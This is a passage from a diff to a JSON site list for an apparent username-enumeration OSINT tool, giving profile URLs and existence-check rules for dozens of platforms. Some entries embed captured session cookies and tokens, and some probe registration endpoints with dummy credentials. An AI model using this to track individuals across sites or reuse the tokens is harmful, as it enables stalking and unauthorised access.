"" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "twitch": { + "url": "https://www.twitch.tv/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://m.twitch.tv/%s", + "existUsername": "jenny", + "nonExistUsername": "youga777888", + "userPage": "https://www.twitch.tv/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "tryhackme": { + "url": "https://tryhackme.com/", + "type": "CyberSecurity", + "isNSFW": false, + "nameCheck": "^[a-zA-Z0-9.]{1,16}$", + "detect": [ + { + "nonExistRegex": "{\"success\":false}", + "url": "https://tryhackme.com/api/user/exist/%s", + "existUsername": "ashu", + "nonExistUsername": "youga777888", + "userPage": "https://tryhackme.com/p/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "tiktok": { + "url": "https://tiktok.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://tiktok.com/@%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "userPage": "https://tiktok.com/@%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "KY" + } + }, + "telegram": { + "url": "https://t.me/", + "type": "Social", + "isNSFW": false, + "nameCheck": "^[a-zA-Z0-9_]{5,32}$", + "detect": [ + { + "nonExistRegex": "<meta property=\"og:description\" content=\"\">", + "url": "https://t.me/%s", + "existUsername": "piaolin", + "nonExistUsername": "youga777888", + "userPage": "https://t.me/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "steamgroup": { + "url": "https://steamcommunity.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "No group could be retrieved for the given URL", + "url": "https://steamcommunity.com/groups/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://steamcommunity.com/groups/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "sublimeforum": { + "url": "https://forum.sublimetext.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://forum.sublimetext.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://forum.sublimetext.com/u/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "spotify": { + "url": "https://open.spotify.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://open.spotify.com/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "headers": { + "user-agent": "PostmanRuntime/7.29.2" + }, + "userPage": "https://open.spotify.com/user/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "SE" + } + }, + "sourceforge": { + "url": "https://sourceforge.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://sourceforge.net/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://sourceforge.net/u/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "snapchat": { + "url": "https://www.snapchat.com/", + "type": "Social", + "isNSFW": false, + "nameCheck": "^[a-z][a-z-_.]{3,15}", + "detect": [ + { + "statusCode": "200", + "url": "https://www.snapchat.com/add/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://www.snapchat.com/add/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "rubygems": { + "url": "https://rubygems.org/", + "type": "Programmer", + "isNSFW": false, + "nameCheck": "^[a-zA-Z][a-zA-Z0-9_-]{1,40}", + "detect": [ + { + "statusCode": "200", + "url": "https://rubygems.org/profiles/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://rubygems.org/profiles/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "pypi": { + "url": "https://pypi.org/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://pypi.org/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://pypi.org/user/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "quizlet": { + "url": "https://quizlet.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://quizlet.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://quizlet.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "pastebin": { + "url": "https://pastebin.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "Pastebin.com - Not Found ", + "url": "https://pastebin.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://pastebin.com/u/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "packagist": { + "url": "https://packagist.org/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "reason=vendor_not_found", + "url": "https://packagist.org/packages/%s/", + "existUsername": "psr", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://packagist.org/packages/%s/", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "oracle": { + "url": "https://community.oracle.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://community.oracle.com/people/%s", + "existUsername": "dev", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://community.oracle.com/people/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "opensource": { + "url": "https://opensource.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://opensource.com/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://opensource.com/users/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "nextcloud": { + "url": "https://nextcloud.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://help.nextcloud.com/u/%s/summary", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://help.nextcloud.com/u/%s/summary", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "minecraft": { + "url": "https://minecraft.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "Couldn't find any profile with name", + "url": "https://api.mojang.com/users/profiles/minecraft/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://api.mojang.com/users/profiles/minecraft/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "tft": { + "url": "https://lolchess.gg/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "No search results", + "url": "https://lolchess.gg/profile/na/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://lolchess.gg/profile/na/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gitbook": { + "url": "https://gitbook.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://%s.gitbook.io/", + "existUsername": "gitbook", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://%s.gitbook.io/", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "hackernews": { + "url": "https://news.ycombinator.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "No such user.", + "url": "https://news.ycombinator.com/user?id=%s", + "existUsername": "gitbook", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://news.ycombinator.com/user?id=%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "hackerrank": { + "url": "https://hackerrank.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "Something went wrong", + "url": "https://hackerrank.com/%s", + "existUsername": "satznova", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://hackerrank.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "leetcode": { + "url": "https://leetcode.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://leetcode.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://leetcode.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "leetcode-cn": { + "url": "https://leetcode.cn/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "抱歉!我们找不到您想访问的页面", + "url": "https://leetcode.cn/u/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://leetcode.cn/u/%s/", + "type": "username", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "9gag": { + "url": "https://www.9gag.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://www.9gag.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://www.9gag.com/u/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "csdn": { + "url": "https://blog.csdn.net/", + "type": "Blog", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://blog.csdn.net/%s", + "existUsername": "OneFlow_Official", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://blog.csdn.net/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "cnblogs": { + "url": "https://www.cnblogs.com/", + "type": "Blog", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://www.cnblogs.com/%s/", + "existUsername": "LyShark", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://www.cnblogs.com/%s/", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "oschina": { + "url": "https://my.oschina.net/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://my.oschina.net/%s", + "existUsername": "kisswu", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://my.oschina.net/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "segmentfault": { + "url": "https://segmentfault.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "微信扫码登录", + "existRegex": "粉丝数", + "url": "https://segmentfault.com/u/%s", + "existUsername": "h_jm", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://segmentfault.com/u/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "trello": { + "url": "https://trello.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "model not found", + "url": "https://trello.com/1/Members/%s", + "existUsername": "h_jm", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://trello.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AU" + } + }, + "seebug": { + "url": "https://www.seebug.org/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://www.seebug.org/accounts/profile/%s", + "existUsername": "kikay_lee", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Cookie": "__jsluid_s=eea1cbf32a1f7e963c1aa33e29d33fb8; __jsl_clearance_s=1682778037.072|0|7DZXEgV4Oiq%2BI312i0Rr0bpHAUQ%3D" + }, + "userPage": "https://www.seebug.org/accounts/profile/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "sec-wiki": { + "url": "https://www.sec-wiki.com/", + "type": "CyberSecurity", + "isNSFW": false, + "sleep": 3, + "detect": [ + { + "statusCode": "200", + "url": "https://www.sec-wiki.com/user/view/%s", + "existUsername": "re4lity", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.sec-wiki.com/user/view/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "secrss": { + "url": "https://www.secrss.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "404 Not Found", + "existRegex": "登录", + "url": "https://www.secrss.com/articles?author=%s", + "existUsername": "ISACA", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.secrss.com/articles?author=%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "bugcrowd": { + "url": "https://bugcrowd.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://bugcrowd.com/%s", + "existUsername": "MuhammadKhizerJaved", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://bugcrowd.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "track": { + "url": "https://bbs.zkaq.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "existRegex": "用户中心", + "nonExistRegex": "不存在该用户", + "url": "https://bbs.zkaq.cn/u/%s.html", + "existUsername": "nocircle", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://bbs.zkaq.cn/u/%s.html", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "mozhe": { + "url": "https://www.mozhe.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "\\\\u53ef\\\\u4ee5\\\\u4f7f\\\\u7528", + "url": "https://www.mozhe.cn/check/nickname/exist", + "existUsername": "openkali", + "nonExistUsername": "youga777888", + "body": "nickname=%s&_token=UMXd6Cx41xzTBoZqU70SxTcOkc8heH7FomvsjOkN", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Cookie": "mozhe-xsrf-token=eyJpdiI6InNNeXlxZjY0VktmXC9pcTBCeXU3d0VRPT0iLCJ2YWx1ZSI6IjdOUVF0OG5lSU92SmI3N1doVjZFY2dLUGZwUTFqS2tpQm9KMnVjS0NvRXRrWFlsUjN5RURUMnZQWmxRSCtDOVg1Wk45em9SWTg5cWxBMkNOdkl5TnVBPT0iLCJtYWMiOiJhM2ZkMmQ3YWRhZTkzNWYzMTI2ZTUzNzUxNTZjNzMyYTc1N2I0ZjQ5YzQ0MGY4M2Y2ZDhhMTcyZTRkZmUzOWY2In0%3D; mz_session=eyJpdiI6IlcrQU9FNlVPZ21Rak9nS2s5VzdsZ1E9PSIsInZhbHVlIjoidWVpNzc1ME9ad3RkQWFjRDV6RnRFWTJOQ1A3eG8wd0t6WVVMcEtMUlwvcEhOcmRvY1BEYkl5S0pjSEJTNGozT05cL2FOZDh4bUJtR1BoQ3hobitDV29yUT09IiwibWFjIjoiZDgwNmU5YTMzYWM2ODI5NTljMzFmNWE2ZjQ1NzUyYzY4MjIwYTkwMjMyMDFmMzU1MzJjNTQyNmY2ZGUxMDY1ZSJ9; Hm_lvt_9e72691775fe3271a38b32ad33975d5e=1682861764; Hm_lpvt_9e72691775fe3271a38b32ad33975d5e=1682861764", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest" + }, + "userPage": "https://www.mozhe.cn/", + "type": "username", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "jarvisoj": { + "url": "https://www.jarvisoj.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "existRegex": "This username has been used!!", + "url": "https://www.jarvisoj.com/api/register.json", + "existUsername": "kira", + "nonExistUsername": "youga777888", + "body": "email=155785154@qq.com&username=%s&organize=1&mobilephone=1&countryid=7&captcha=J871&agree=true&checkid=5e3f986d-0584-47d6-ad5b-cec7c825876b", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "userPage": "https://www.jarvisoj.com/scoreboard", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "vulfocus": { + "url": "https://vulfocus.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "existRegex": "\\\\u8be5\\\\u7528\\\\u6237\\\\u5df2\\\\u88ab\\\\u6ce8\\\\u518c", + "url": "https://vulfocus.cn/api/user/register/", + "existUsername": "qianxiao324", + "nonExistUsername": "youga777888", + "body": "{\"username\":\"%s\",\"password\":\"123456\",\"email\":\"1@qq.com\",\"checkpass\":\"123456\",\"captcha_code\":\"1111\",\"hashkey\":\"f73d55f51cb61f2a69d085cea36b1ff11da052f3\"}", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/json" + }, + "userPage": "https://vulfocus.cn/#/userrank/list", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "iteye": { + "url": "https://www.iteye.com/", + "type": "Programmer", + "isNSFW": false, + "sleep": 2, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.iteye.com/blog/user/%s", + "existUsername": "kristy-yy", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.iteye.com/blog/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "unsplash": { + "url": "https://unsplash.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://unsplash.com/@%s", + "existUsername": "jenny", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://unsplash.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "seebug-paper": { + "url": "https://paper.seebug.org/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://paper.seebug.org/users/author/?nickname=%s", + "existUsername": "Y4tacker", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://paper.seebug.org/users/author/?nickname=%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "douban": { + "url": "https://www.douban.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.douban.com/people/%s/", + "existUsername": "michellemou", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.douban.com/people/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "infoq": { + "url": "https://www.infoq.cn/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.infoq.cn/u/%s/", + "existUsername": "tiamozhang", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.infoq.cn/u/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "threatpost": { + "url": "https://threatpost.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://threatpost.com/author/%s/", + "existUsername": "natenelson", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://threatpost.com/author/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "infosecurity-magazine": { + "url": "https://www.infosecurity-magazine.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.infosecurity-magazine.com/profile/%s/", + "existUsername": "alessandro-mascellino", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.infosecurity-magazine.com/profile/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "xsssql": { + "url": "http://www.xsssql.com/", + "type": "CyberSecurity", + "isNSFW": false, + "sleep": 3, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://www.xsssql.com/article/author/%s", + "existUsername": "weblcx", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://www.xsssql.com/article/author/%s", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "studygolang": { + "url": "https://studygolang.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "位会员加入了 Go语言中文网。", + "existRegex": "注册时间", + "url": "https://studygolang.com/user/%s", + "existUsername": "polaris", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://studygolang.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "0x00sec": { + "url": "https://0x00sec.org/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://0x00sec.org/u/%s", + "existUsername": "risklimit", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://0x00sec.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "NL" + } + }, + "ruby-china": { + "url": "https://ruby-china.org/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://ruby-china.org/%s", + "existUsername": "Rei", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ruby-china.org/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "tttang": { + "url": "https://tttang.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "404 Not Found", + "existRegex": "列表", + "url": "https://tttang.com/user/%s", + "existUsername": "巴斯.zznQ", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://tttang.com/user/%s" + } + ], + "login": { + "url": "", + 